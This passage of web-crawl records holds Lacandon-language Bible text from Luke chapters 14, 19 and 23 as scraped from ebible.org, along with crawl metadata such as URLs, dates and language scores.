c'uchij u c'urew ich u jer a mac payob uch. Raji' caj u ya'araj: \"Mʌ' jin tar ―quij―, quire' tant in ch'ic in rac', rajen mʌ' c'ucha'an in wor in tar.\" 21 Caj ts'oc yu'ur u c'urew caj ya'araj ti' u Jach Ts'urir a ba' caj u ya'araj a mac payob uch. Rajen caj ts'iquij caj ya'araj ti' u c'urew: \"Sebquintej a bin ich tanbej ich u cajar, baxuc ich u berir u cor mac. Ca' a rʌc pʌyic a mac otsir. Baxuc a mac xonc'ub yoc wa c'ʌb. Baxuc a mac mech. Baxuc a mech yoque'. Baxuc a ch'op u wicho' xan.\" 22 Caj ts'oc u betic aro' caj wʌc'ʌs bin ich u Jach Ts'urir caj ya'araj: \"In Jach Ts'urir ―quij―, caj in toc betaj a ba' caj a wa'araj. Ti' toy yʌn, mʌ' chupuc a watoch.\" 23 Caj ya'araj ti' u c'urew: \"Joq'uen, rʌc pʌyej ich tancab u cajar cax tu cu manob ich bej. Chich pʌyob ca' tacob tu janʌnob soc u rʌc chupur in watoch.\" 24 Caj ya'araj u Jach Ts'urir: \"Taj quin wac tech a mac a caj in yʌn pʌyajob, mʌ' ju bin u janticob in woch. A toc ts'aca'an, quire' mʌ' in cha'ic u tarob.\"\nA mac a c'ucha'an yor u sayʌr tu pach Jesús quir u cʌnic u t'ʌn\n25 P'eri' cu binob Jesús yejer a pimob. Caj u sut u bʌj caj u ya'araj ti'ob:\n26 ―Wa mac ich techex u c'at u tar tin pach quir u cʌnic in t'ʌn. Wa ju jach yajquintic u tet yejer u nʌ' yejer u rac' yejer u parar yejer u bʌjob. Cax u wʌc'ʌs bʌjiri' chen mʌ' ten u qui' yajquintic ten ―quij Jesús―, aro' mʌ' c'ucha'an yor u tar u cʌnic in t'ʌn. 27 Wa mac ich techex ―quij Jesús―, mʌ' u c'at u muc'yaj, mʌ' u c'at u quimin, cax ich cruz wa ra' u c'at C'uj. Arej mʌ' c'ucha'an yor u tar u cʌnic in t'ʌn. 28 Wa mac ich techex ―quij Jesús―, u c'at u ts'ʌpquintic tunich soc u c'ʌxic yatoch jach carem. Cu yʌn tucric mun u bo'orir, mʌ' toy yʌnchun u beyaj soc yiric wa c'ucha'an u ts'ocsic ti'. 29 Wa mʌ' tu qui' tucraj mun u bo'orir quir u ts'ocsic ca' bin u ts'ʌpquintic tunich quir u nacsic u jo'r ca'anan. Ca' bin yirej mʌ' c'ucha'an yor u ts'ocsic. Tu cotor mac cu bin tar u che'ticob quire' caj u yirob mʌ' c'ucha'an yor u ts'ocsic. 30 Cu bin u ya'aricob: \"A je' xibo' caj u yʌnxchun cu chen ts'ʌpquintic tunich mʌ' c'ucha'an yor u ts'ocsic.\" Baxuc a mac a cu tar u cʌnic in t'ʌn. Cu yʌn tucric mun u bo'orir wa toy yʌnxchun u tar tin pach.\n31 Jesús caj ya'araj ti' a pimo', a mac tarob tu pach:\n―Baxuc a reyo' ―quij Jesús―, wa cu bin u ts'ictar yejer u yet reyir quire' p'acta'b. Cu yʌn qui' tucric wa c'ucha'an yor ti' quir u nup'ic yejer diez mil, cax yet reyir yʌn veinte mil soldado. 32 Wa cu yiric mʌ' c'ucha'an yor ti' yet reyir. Ti' toy yʌn yet reyir nach, tan u tar quinsbir. Je' u tuchi'tic mac quir u sisquintic yor soc cu p'eri'quinticob yor soc mʌ' ju tar quir u quinsa'. 33 A mac a cu bin u betic a ba' jach no'j, yʌn u qui' tucric wa c'ucha'an yor u ts'ocsic. Baxuc techex ―quij Jesús―, mʌ' c'ucha'an a worex a tar a cʌniquex in t'ʌn, wa mʌ' a c'at a p'ʌtiquex tu cotor a ba' yʌn techex.\nJesús cu camsic ti' a xa'ano' a mʌ' tabta'ani'\n(Mt. 5.13; Mr. 9.50)\n34 Caj ya'araj Jesús:\n―A wochexo', mʌ' qui' wa mʌ' tabta'an yejer xa'an. Chen wa cu ruc'ur u xa'anin. Ba' yʌn ic betej soc u wʌc'ʌs tar u xa'anin? 35 A ruc'a'an u xa'anino', mʌ' ba'wir ti', mʌ' ti' a cor quir u ch'isej ba' an ten bic u ta' tsimin, ca chen joc'sic a puric nach. Baxuc techex wa mʌ' a quibiquex in t'ʌn cu bin u joc'sic u puric techex. Qui' u'yex a ba' quin wac.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK14.htm","date":"2022-08-17T20:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00611.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":1466,"character_repetition_ratio":0.072,"word_repetition_ratio":0.022,"special_characters_ratio":0.301,"stopwords_ratio":0.506,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19\nJesús ti' yʌn yejer Zaqueo\n1 Caj oc Jesús ich u cajar Jericó. Ti' man chumuc u cajar. 2 Ti' yʌn turi' xib neyʌn u taq'uin u c'aba' Zaqueo, u jach ts'urir yʌjc'ʌminob u taq'uin gobierno. 3 Zaqueo u c'at u yiric Jesús quir u c'ʌ'otic, chen mʌ' c'ucha'an yirej quire' a pimob, cabar u baquer. Mʌ' c'ucha'an yor yirej quire' ti' yʌn a pimob. 4 Rajen caj u c'ʌnaj yacab caj naquij ich c'ʌb che' quire' ti' yʌn u berir quir u man Jesús soc yiric. Rajen pʌybej caj bin. 5 Ti' manij Jesús tu yʌn Zaqueo. Jesús caj u pʌctaj ti', caj ya'araj ti':\n―Zaqueo ―quen―, seb a wemʌn quire' yʌn in jamach p'atʌr ta watoch.\n6 Rajen Zaqueo seb caj emij ich ru'um, qui' yor caj u qui' acsaj tu yatoch. 7 A mac a caj u yirajob yocar Jesús ich yatoch Zaqueo caj u pacran arajob ich u rac'ob, tan u choctar yorob:\n―Biquinin cu yʌn ocar aro' ich yatoch a mac yʌn u si'pir quir u wenʌn?\n8 Caj ch'icraj Zaqueo ʌcʌtan tu cotor mac soc chʌca'an yubicob. Caj ya'araj ti' Jaj Ts'urir:\n―Iric Jaj Ts'urir ―quij―. Yʌn in ts'ic ti' in taq'uin ti' a otsiro'. Chumuc tu cotor a yʌn teno' quin bin in ts'ic ti'. Wa caj in tus ch'aj u taq'uin mac uch, quin bin in sutej ti'. Cuatro u tenin quin sutic ti'.\n9 Jesús caj ya'araj ti':\n―Baje'rer C'uj caj u ta'quech yejer tu cotor mac a ti' yʌn ta watoch. Jach taj u pararech a nunquir Abraham, quire' caj a wacsaj ta wor ti' C'uj an ten bic ic nunquir Abraham uch, caj u yacsaj tu yor. 10 Mʌ' ja wirej, a baxuquenechexo' caj u tuchi'ten C'uj ca' in wesej quin yajquintic mac a tabar u bin ich c'ac' quir in ta'quic a mac a cu yacsic tu yor ten.\nJesús cu camsic quir u cʌnic ti' diez taq'uin\n11 Ti' toy cu yubicob an ten bic Jesús caj u tsicbʌtaj ti' Zaqueo. Jesús caj u yʌnxchun u camsic ti'ob quire' tabar u c'uchur ich u cajar Jerusalén. Rajen cu tucricob c'uchij tu q'uinin u reyinticob Jesús u ru'umin u winiquirob judío. 12 Rajen caj ya'araj Jesús:\n―A mac jach no'j u tet ―quij―, caj bin ich tanxer ru'um soc u yacsa' rey. Caj ts'oc yacsa' rey caj wʌc'ʌs urij. 13 Caj bin ich tanxer ru'um ca'ch caj u t'ʌnaj diez u c'urew caj u ts'aj jujuntur u c'urewob dos cientos pesos caj u ya'araj ti'ob: \"C'ʌnej a je' taq'uina' ca' a jarex u jer taq'uin jach ya'ab hasta quin wu'ur.\" 14 Jeroj caj binij. Ti' yʌn mac ich u cajar aro' caj p'acta'b ten u yet cajarob a cu bin yocar rey. Rajen caj u tuchi'taj mac tu pach aro' caj u ya'araj ti' rey: \"Mʌ' in c'atob u yocar quir in reyinticob. Mʌ' a wacsic ti'.\" 15 Caj urij a je' xibo' caj u yʌnxchun u reyinticob caj u pʌyaj u c'urew a caj u ts'a ti' u taq'uin uch ca' tacob ʌcʌtan ich rey. Quire' u c'at yer mun t'aj u taq'uin jujunturob. 16 A pʌybejo' tarij caj ya'araj: \"Jach Ts'urir ―quij―, a taq'uin a ta ts'aj ten, dos cientos pesos uch, jach net'ajij baje'rer yʌn dos mil pesos.\" 17 U jach ts'urir caj ya'araj ti': \"Jach tsoy a beyaj, jach tsoy in c'urewech. In wer baje'rer ca qui' cʌnantic a ba' mʌ' ya'ab tech. Rajen quin bin in ts'ic diez cajarob quir u reyintiquech.\" 18 A ca'tur u c'urew tarij caj ya'araj ti': \"Jach Ts'urir ―quij―. A taq'uin a caj a ts'aj ten dos cientos pesos, jach t'aj baje'rer yʌn mil pesos.\" 19 U jach ts'urir caj ya'araj ti': \"Tech quin bin in ts'ic cinco cajarob quir u reyintiquech.\" 20 Caj tar u jer u c'urew caj ya'araj ti': \"Jaj Ts'urir ―quij―, je' a taq'uina'. Caj in tapa caj in ric'saj, 21 quire' caj in ch'aj sajaquir tech quire' ts'iquech. Quire' tech ca ch'ic a ba' mʌ' tech yʌnin. Quire' tech ca jaq'uic u nar mac cax tech mʌ' ta pʌc'aj.\" 22 U jach ts'urir caj u ya'araj ti': \"Jach c'as in c'urewech, a wʌc'ʌs t'ʌn tech a caj a wa'araj. Raji' cu bin u ta'quic a jo'r quire' a wer jach ts'iquen quire' a teno' quin ch'ic u taq'uin mac a caj u jaraj. Quire' quin jaq'uic u nar mac a mʌ' tin pʌc'aj. 23 Rajen biquinin mʌ' ta majantaj in taq'uin ti' mac soc c'ʌs t'ajij in taq'uin ca' bin urquen. Ca' in ch'ic cax mʌ' ya'ab?\" 24 Caj ara'b ten u jach ts'urir ti' a mac ti' yʌn tu yicnʌn u c'urew a c'aso': \"Taquej ti' u taq'uin a ti' yʌn ti' a dos cientos ca' a ts'ic ti' a mac yʌn ti' dos mil pesos.\" 25 U c'urewob caj ya'arajob ti': \"Jach Ts'urir ―quij―, toc yʌn ti' dos mil pesos a caj a p'ʌtaj ti'.\" 26 U jach ts'uric caj ya'araj ti'ob: \"Quin wac techex a mac a cu betic tsoy yejer a ba' quin ts'ic ti'. Je' in ts'ic ti' jach ya'ab. A maque' a mʌ' u c'ʌnic a ba' quin ts'ic ti'. Je' in ta'quic ti', cax mʌ' ya'ab yʌn ti'. 27 Techex a werex a mac a cu p'actiquen ca'ch. Robob a mʌ' u c'at in wocar rey toc chuquejob ca' a quinsejob ʌcʌtan ten.\"\nJesús cu yocar ich u cajar Jerusalén\n(Mt. 21.1‑11; Mr. 11.1‑11; Jn. 12.12‑19)\n28 Caj ts'oc a ba' caj u camsa sam ich yatoch Zaqueo. Caj u p'ʌtaj u cajar Jericó quir u bin ich u cajar Jerusalén. 29 Tabar u c'uchur ich u cajar Betfagé, baxuc ti' yʌn u cajar Betania, nʌts'a'an ti'ob yʌn u chan p'uc witsir u c'aba' Olivos. Quire' ra' u c'aba' u che'er a ti' yʌno'. Jesús caj u tuchi'taj ca'tur u camsʌwinicob. 30 Caj ara'b ti'ob:\n―Xenex ich u chan cajar c'ʌs bʌytʌc ca' bin ocaquechex ich u cajar. Je' a wirex chan tsimin ti' maca'an, mʌna' mac u cʌptanmʌn u pach. Pitex ti' ca' a paytex tera'. 31 Wa mac cu c'atic techex: \"Biquinin ca pitiquex chan tsimin?\" Caj a waquex ti' baxuc a je'ra': \"Quire' ic Jaj Ts'urir u c'at u cʌptar tu pach\", quech ti'.\n32 U camsʌwinicob caj binob caj yirajob ti' maca'an chan tsimin an ten bic Jesús caj ya'araj ti'ob. 33 Caj u pitajob chan tsimin caj tarij a mac yʌnin caj u c'ataj: \"Biquinin ca pitiquex chan tsimin?\"\n34 Raji'ob caj u nuncajob:\n―Quire' ic Jaj Ts'ur u c'at u cʌptar tu pach.\n35 A ca'tur u camsʌwinicob caj u paytajob chan tsimin caj binob u purej ich Jesús. Caj u jʌyajob u noq'uir u pach chan tsimin. U camsʌwinicob caj u yamtajob Jesús quir u cʌptar tu pach chan tsimin. 36 Caj bin Jesús tu berir Jerusalén. Ti' cʌpa'an Jesús tu pach chan tsimin ich u bej tu cu man Jesús. A winiquir judíojo' caj u pitaj u ca' yarir u noc'ob quir u jʌyicob tu ber Jesús. Irej nanij cu yacsicob rey tu cajarob quire' qui' yorob yiricob. 37 Tabar u c'uchur Jesús ich u cajar Jerusalén. Ti' yʌn chan p'uc witsir Olivos tu cu bin yemantic Jesús. U camsʌwinicob a pimo' caj u yʌnxchun u qui'quinticob yorob. C'am caj ya'arajob:\n―Jach caremech C'uj quire' caj in wirob jach carem a beyaj.\n38 A pimo' caj ya'arajob:\n―Tan in c'ujinticob a je' reya' a cʌpʌcbar tu pach chan tsimin a caj u tuchi'taj C'uj. Ca' ij carej ti': Bayo' C'uj, ti' yʌnech ich ca'anan quire' caj a quetquintaj ij corex yejerech ―baxuc caj ya'arajob a pimo'.\n39 Ti' yʌn mʌ' ya'ab u winiquirob judío a fariseojo' ich a pimo', caj ya'arajob ti' Jesús:\n―Arej u mʌcob u chi' a camsʌwinicob.\n40 Jesús caj u nuncaj ti'ob, caj ya'araj:\n―Quin wac techex, wa cu mʌquicob u chi' a je' winica', jaj ixtʌcoj, a je' tunicha' je' u joc'ar u t'ʌn, tan ya'aric: \"Quin c'ujintiquechob.\"\n41 Jesús tabar u nats'ʌr caj yiraj u cajar Jerusalén caj oc'nʌjij Jesús quire' otsir yiric, a mac ti' yʌn tu cajar Jerusalén. 42 Caj ya'araj Jesús:\n―Jaj ix tʌcoj wa ja toc erex bic c'ucha'an a worex a quetquintiquex a worex yejer C'uj chen baje'rer C'uj mʌ' u cha'ic a wiriquex ba' a ber techex. 43 Quire' ca' bin c'uchuc tu q'uinin a mac a cu p'actiquechex cu bin u ts'ʌpquinticob tunich soc mʌ' tu ca puts'urex. Quire' caj u toc bʌcris ts'ʌptajob tunich. 44 Cu bin u quinsicob techex yejer a pararobex. Cu bin u rʌc jubsicob u tunichir a cajarex cu bin u rʌc pich'inticob tunich. Baxuc cu bin u beticob techex quire' mʌ' ta wacsajex ta worex ti' C'uj quire' caj u tuchi'tajen a teno' a baxuquenechexo' ti' techex quir in yamtic techex.\nJesús cu joq'sic a mac ti' yʌn ich carem naj a cu canicob ba'\n(Mt. 21.12‑17; Mr. 11.15‑19; Jn. 2.13‑22)\n45 Caj oquij Jesús ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Caj u yʌnxchun u joc'sic a mac cu canicob u ba'tac tu japnin carem naj ba'iri' a mac a cu mʌnicob ba'. 46 Jesús caj ya'araj ti'ob:\n―Ti' ts'iba'an ich u t'ʌn C'uj, cu ya'aric: \"In watoch a je'ra' quir u tar mac u t'ʌnic C'uj\", chen techex caj a waysaj irej wa tu cu much'quinticob u bʌj a cu yac'rʌ' ba'.\n47 Jesús caj ts'oc u joc'sic a mac a cu canicob ba' ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Rajra' Jesús cu camsic a mac a cu tar ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Chen u jach ts'urirob u sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés yejer u jach ts'urir u winiquirob judío u c'at u quinsicob Jesús. 48 Chen mʌ' yerob bic tabar cu bin u quinsicob ti' quire' a pimo' u jach c'at yubicob u t'ʌn Jesús.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK19.htm","date":"2022-08-15T08:00:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572161.46\/warc\/CC-MAIN-20220815054743-20220815084743-00616.warc.gz","language":"lac","language_score":1.0000035763,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000035762786865}","num_words":1582,"character_repetition_ratio":0.068,"word_repetition_ratio":0.004,"special_characters_ratio":0.292,"stopwords_ratio":0.499,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"23\nTi' cu bin Jesús ʌcʌtan Pilato\n(Mt. 27.1‑2, 11‑14; Mr. 15.1‑5; Jn. 18.28‑38)\n1 P'eri' caj rʌc ric'ob caj binob purej Jesús ʌcʌtan Pilato. 2 U ts'urirob u winiquirob judío caj u yʌnxchun u ta'quicob u jo'r Jesús caj ya'arajob:\n―Ts'oc in wiricob soc u quinsa' Jesús. Mʌ' ja wirej, caj u p'usaj yorob u winiquirob judío. Quire' cu ya'aric: \"Mʌ' tsoy a bo'otiquex u taq'uin a ru'umex ti' u rey César.\" Baxuc xan, u bʌjiri' cu ya'aric: \"Cristojen, a caj u tuchi'ten C'uj quir u reyintiquen mac.\"\n3 Pilato, caj u c'ata' ti':\n―Arej ten wa ju reyech u winiquirob judío?\nJesús caj u nuncaj ti':\n―An ten bic tech caj a wa'araj sam, raji'en.\n4 Pilato caj u ya'araj ti' u jach ts'urirob sacerdote yejer a pimob caj u much'quintob u bʌj:\n―Mʌ' jin wiraj u si'pir a je' xiba'.\n5 Caj u p'encʌch arob ba' u winiquirob judío:\n―Caj u jach p'usaj yorob u winiquirob judío tu cu camsic ti'ob. Caj u yʌnxchun u camsic ich u ru'umin Galilea. Baxuc ich tu cotor u cajar Judea hasta c'uchij tera' xan.\nTi' yʌn Jesús ʌcʌtan Herodes\n6 Pilato caj yubaj a ba' caj u ya'arajob yʌjta'quirob u jo'r Jesús. Caj u c'ataj ti'ob:\n―Ti' wa ju tar a je' xiba' ich u ru'umin Galilea?\n7 Caj u yuba ya'ara' ti' u tar ich u ru'umin Galilea. Caj ya'araj ca' xic purbir Jesús ich Herodes quir u ta'quicob u jo'r. Quire' raji' gobernador ich u ru'umin Galilea. Quire' ti' c'uchij Herodes ich u cajar Jerusalén. 8 Caj c'uchij Jesús ich Herodes, jach qui' yor Herodes quire' uch u chen c'at yiric Jesús quire' cu pachtic yirej ca' esac ti' carem beyaj Herodes. Quire' cu yubic u tsibʌticob a pimob a ba' cu betic Jesús. 9 Cax ya'ab ba' caj u c'ataj Herodes ti' Jesús. Mʌ' baj c'ʌs nunca'b ti'. 10 U jach ts'urirob sacerdote yejer yʌjcamsʌyʌjirob u t'ʌn Moisés caj tarob ch'ictarob ʌcʌtan Herodes quir u ta'quicob u jo'r Jesús. C'am u t'ʌnob. 11 Herodes, caj u p'astaj Jesús yejer tu cotor u ts'urirob soldadojo' caj u chejtajob ti'. Caj u tʌcajob u noc' a tsoyo' soc irej rey. Caj ts'oc u tʌquicob u noc' caj wʌc'ʌs tuchi'ta'b Jesús ich Pilato. 12 Ra'iri' u q'uinin Pilato yejer Herodes caj u yajquintajob u bʌj quire' a ucho' cu p'acticob u bʌj.\nPilato cu ya'aric: Jesús yʌn u quimin\n(Mt. 27.15‑26; Mr. 15.6‑15; Jn. 18.39―19.16)\n13 Pilato caj u much'quintaj u jach ts'urirob sacerdote yejer u jach ts'urirob u cajar u winiquirob judío yejer a pimob. Tu cu ta'quicob u jo'r Jesús uch. 14 Pilato caj u ya'araj ti'ob:\n―Tarex a puric a je' xiba' ʌcʌtan ten. Caj a wa'arajex caj u p'usaj yor u winiquirob judío. Caj ts'oc in cʌxtic in wirej wa yʌn u si'pir, mʌ' tin wiraj u si'pir turiri' a ca ta'quiquex u jo'r. 15 A mʌ' Herodeso' caj u yiraj u si'pir xan. Rajen caj u wʌc'ʌs tuchi'taj to'onex. Mʌna' ba' caj u betaj quir u quinsa'. 16 Baje'rer quin bin in wac u jʌts'ob u pach. Cu ts'ocar u jats'ʌr ca' sipac ca' xic Jesús.\n17 Caj ya'araj baxuco' quire' nanij u sipic mac Herodes, rajra' cu c'uchur tu q'uinin u qui'qui' janʌn, ra' u q'uinin pascua. 18 Chen tu cotor mac caj u c'amquintajob u t'ʌn, caj ya'arajob:\n―Quinsej a ra xibo'. Ij c'at ca' a siptej Barrabás.\n19 A je' Barrabása' caj chuquij caj maquij tu cu ma'cʌr winic uch quire' caj u p'usaj yorob mac ich u cajar quir u joc'sicob u ts'urir u cajar. Bayiri' caj u quinsaj mac xan. 20 Pilato u c'at u siptic ca' xic Jesús, rajen tu ca' t'ʌnaj a pimo'. 21 A pimo' caj u ca' purajob u t'ʌn. C'am caj ya'arob:\n―Sinej ich cruz.\nCa' ten caj u ca' arob:\n―Sinej ich cruz ―quij.\n22 Mʌna' u nup u tenin caj ya'araj Pilato:\n―Biquinin yʌn in sinic ich cruz? Arex ten ba' c'asir caj u betaj? A teno' mʌ' jin wiraj u si'pir quir u quinsa'. Rajen quin bin in wa'aric u jats'ʌr u pach. Cu ts'ocar u jats'ʌr u pach, cu chabʌr ca' xic.\n23 Chen a pimo' caj u ts'ʌraj u pach Pilato, caj u chich araj ti' Pilato:\n―Sinej ich cruz.\nQuire' c'am yawʌt t'ʌnob. 24 Pilato caj u quibaj u t'ʌn. Rajen Pilato caj u ya'araj ca' quinsac Jesús soc u betic a ba' u c'atob u winiquirob judío. 25 Pilato caj u siptaj Barrabás, a mac chuca'an uch cax ra' caj u p'usaj yorob u rac'ob quir u joc'sicob u ts'urir u cajar cax caj u quinsaj mac. Chen Jesús caj u c'ubaj ca' quinsa' ten u soldado quire' baxuc u c'at u winiquirob judío.\nA soldadojo' u winiquirob romano, raji'ob caj u bʌjajob Jesús ich cruz\n(Mt. 27.32‑44; Mr. 15.21‑32; Jn. 19.17‑27)\n26 U soldado u winiquirob romano, caj u joc'sajob Jesús quir u quinsicob. Caj u chucob turiri' xib u c'aba' Simón. Ti' u tar caj urij tancab tu cajar. Ti' u tar uch ich u cajar Cirene uch. Caj ts'ar u pach u c'ochej u cruz Jesús. Pachir u bin a Simóno'. Jesús pʌyber.\n27 Baxuc xan, ya'ab mac caj binob tu pach Jesús. Ti' yʌn xquic ich a pimob a cu tarob tu pach Jesús. Awʌt oc'ar u ca'ob quire' cu tucricob Jesús. 28 Jesús caj u sut u bʌj u pʌctic u pach quir u t'ʌnic a xquico':\n―A techexo' u xquiquirechex u cajar Jerusalén. Mʌ' a wac'tiquenex. Ca' a wactex a wʌc'ʌs bʌjiri'ex yejer a pararex. 29 Taj quin wac techex je' u c'uchur tu q'uinin cu bin ya'aric mac: \"Jach tsoy a xquico' a mʌ' pararnʌjij. Quire' mʌ' c'ucha'an yor ti'. Bayiri' a mʌ' tu rochaj u parar. Bayiri' jach tsoy a xquico' a mʌna' u chan och quir u ts'ic chu'ch.\" 30 Ra'iri' u q'uinin cu bin u chich aric ca' quimic, irej a cu ya'aricob mac. Ca' rubuc a witso' ich yoc'orob ca' maxʌcob. Bayiri' cu t'ʌnicob p'uc witso' ca' mucucob, ten p'uc wits. 31 Wa cu quinsiquenob cax mʌna' in si'pir chen jach manan cu bin u muc'yajob ich u winiquirob judío quire' c'as caj u betajob.\n32 Caj bin purbir Jesús quir u quinsa', yet binacob ca'tur xib a cu yacrʌ ba' quir u quinsa'ob xan. 33 Caj rʌc c'uchob tu pʌcha'an u c'aba' u baquer u jo'r mac quire' a ru'umo' irej u baquer u jo'r mac. Ti' caj u bʌjob ich cruz, Jesús a baxuc a cu yacrʌ ba' ca'turo' caj sinob ich u cruzob. Turi' tu noj Jesús, turi' tu ts'ic Jesús. 34 Jesús caj ya'araj ti' C'uj wa ber tan u bajarob ich cruz:\n―In Tetech ―quij―, jawse u si'pirob a mac a cu p'actiquenob quire' mʌ' yerob ba' cu beticob ten ―quij Jesús.\nU soldado u winiquirob romano caj u jʌsob u noc' Jesús caj u yʌrʌc'tajob chan tunich quir yiric mac cu bin u ch'ic u noc' Jesús, baxuc nanij u beticob uch. 35 Tarob ya'ab mac quir u chen pʌcticob u quimin Jesús. U ts'urirob u winiquirob judío caj u yuts'ajob u ni' quire' tan u p'asticob Jesús, caj ya'arob:\n―U jer caj u tacaj; chen u bʌjiri' mʌ' tu tacaj u bʌj, wa jach jaj a Cristojo', a tuchi'ta'b ten C'uj quir u taquic tu cotor mac ca' u wʌc'ʌs tac u bʌj xan.\n36 U soldado u winiquirob romano, caj u chejtajob Jesús quire' caj nʌts'ob u bʌj ich Jesús caj u ts'ajob ti' Jesús u c'ab uva a pʌje' ca' u yuq'uej. 37 Caj ya'arob ti':\n―Wa ju jach u reyech u winiquirob judío, toc tac a bʌj baje'rer.\n38 Ti' ts'iba'an a je' t'ʌna' ich c'ʌs chumuc u cruz u jo'r Jesús soc yer biquinin sinij ich cruz. Caj ts'ibta'b: \"A je' xiba' u rey u winiquirob judío.\"\n39 Turiri' cu yacrʌ ba' ti' sina'an ich Jesús caj u p'astaj Jesús tan ya'aric:\n―Wa jach taj Cristojech toc tac a bʌj yejerenob baje'rer.\n40 Chen u jer u yet bʌja'an Jesús caj u q'ueyaj u yet acrʌ ba' caj ya'araj ti':\n―Mʌ' tan a ch'ic sajʌquir ti' C'uj. Mʌ' wa quet caj bʌjo'on yejer Jesús quir ij quimin xan? 41 A to'ono' ―quij ya'ara' ti'―, taj caj u tacaj ic jo'rob, rajen tan ic jach muc'yaj quire' ra' u bo'orir ic si'pir. Chen a je' xiba' mʌna' ba' caj u betaj quir u quinsa'.\n42 Caj ya'araj ti' Jesús:\n―Jesús ―quij―, chan c'ʌ'ote ten ca' bin c'uchech tu ca reyintic.\n43 Jesús caj ya'araj ti':\n―Taj quin wa'aric tech baje'rer ti' yʌnech yejeren ich C'uj.\nCaj quimij Jesús\n(Mt. 27.45‑56; Mr. 15.33‑41; Jn. 19.28‑30)\n44 Caj c'uchij c'ac'chunq'uin caj ac'ʌ'chʌjij ich tu cotor ru'umin. Hasta las tres caj sasichʌjij. 45 Ti' toy ac'bir ic yum caj jatij u noq'uir tub t'ina'an ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío. Rajen jat chumuc u noq'uir tub t'ina'an quire' caj u yesaj to'on bic tabar ic bin ʌcʌtan C'uj. Mʌ' ja wirej, a ucho' mʌ' c'ucha'an yor mac u je'ic u noq'uir quir u yocar ʌcʌtan C'uj tu cu ya'aricob ti' yʌn C'uj. Chen raji' cu yocar a ucho' u jach ts'urir sacerdote. Teni' cu yocar turiri' yaxq'uin. 46 Ra'iri' u q'uinin caj quimij Jesús caj jat u noq'uir ti' t'ina'an. C'am caj awʌtnʌjij Jesús caj ya'araj:\n―In Tet C'uj ―quij―, tan in ts'ic tech in pixam quir a cʌnantic.\nCaj ts'oc ya'aric caj quimij.\n47 A yʌjt'ʌnino' cien soldado u winiquirob romano, caj yiraj ba' u ber ti' Jesús caj u c'ujintaj C'uj caj ya'araj:\n―Jach jaj a je' xiba' mʌna' u si'pir toc taj yor.\n48 Ya'ab mac caj tarob uch quir yiricob u quinsa'r Jesús. Caj ts'oc yiricob ba' u ber caj sutnʌjob tu yatochob. Caj u pʌxajob u semob quire' tan yesicob tucur u ca'ob quire' baxuc nanij u beticob u winiquirob judío. 49 Tu cotor mac a yet manob Jesús uch. Baxuc yejer a xquicob a tarob tu pach Jesús ich u cajar Galilea. Caj yirob ba' u ber ti' Jesús nanach chica'anob caj yirob Jesús.\nCaj chaquinta'b u baquer Jesús ich japnin tunich\n(Mt. 27.57‑61; Mr. 15.42‑47; Jn. 19.38‑42)\n50 Ti' yʌn ca'ch turiri' xib, ti' u tar ich u cajar Arimatea, ra' u wa'an u ru'umin Judea. José u c'aba'. Raji' turiri' u ts'urir u winiquirob judío. Jach tsoy yor José, José cu quibic a ba' ts'iba'an ich u t'ʌn Moisés. 51 Mʌ' ja wirej, a Joséjo', tan u pajic u q'uinin cu tuchi'tic mac C'uj quir u reyinticob u winiquirob judío. Raji' cu pajic José. A Joséjo', mʌ' quet yor u c'ubic quinsbir Jesús yejer u yet jach ts'urirob u winiquirob judío. 52 Caj bin José ich Pilato quir u c'atic u baquer Jesús. 53 Pilato caj u ts'aj u baquer Jesús ti' José quir u but'ic u baquer ich japnin tunich José, cu ya'araj ti' mac:\n―Ensej u baquer Jesús.\nCaj ts'oc u yensa' caj u tapaj yejer sʌc noc', lino u c'aba' u noq'uir, jach co'oj aro'. Caj bin u but'ej ich japnin tunich tu ric'ben, mʌna' mac u but'mʌni'. 54 Ba' u ber ti' Jesús. Ra' u q'uinin cu chʌquic yoch quir u qui'qui' janʌnob u q'uinin pascua. Raji' tabar u c'uchur tu q'uinin quir u jesicob u bʌj u winiquirob judío.\n55 A xquico' a tarob ich u pach Jesús caj ruq'uij ich u ru'umin Galilea caj binob tu pach José soc u yiricob u but'ur u baquer Jesús ich japnin tunich. 56 A xquico' caj ts'oc yiricob u but'ur u baquer Jesús. Caj urob ich yatoch ich u cajar Jerusalén. Caj u mʌnob a qui' u boque' soc u cho'icob ich u baquer Jesús. Raji' u ts'ac mirra u c'aba' yejer u ts'ac aloe u c'aba' quire' nanij u winiquir judío, u cho'ic ich u baquer a mac quimeno'. A xquico' caj u jesajob u bʌj ti' u beyaj. Quire' ra' u q'uinin tu cu jesicob u bʌj u winiquirob judío. An ten bic cu ya'aric tu ts'iba'an u t'ʌn Moisés.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ebible.org\/lacNT\/LUK23.htm","date":"2022-08-17T18:56:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882573104.24\/warc\/CC-MAIN-20220817183340-20220817213340-00641.warc.gz","language":"lac","language_score":0.9999985695,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 0.9999985694885254}","num_words":1925,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.296,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10\nPedro yejer Cornelio\n1 Ti' 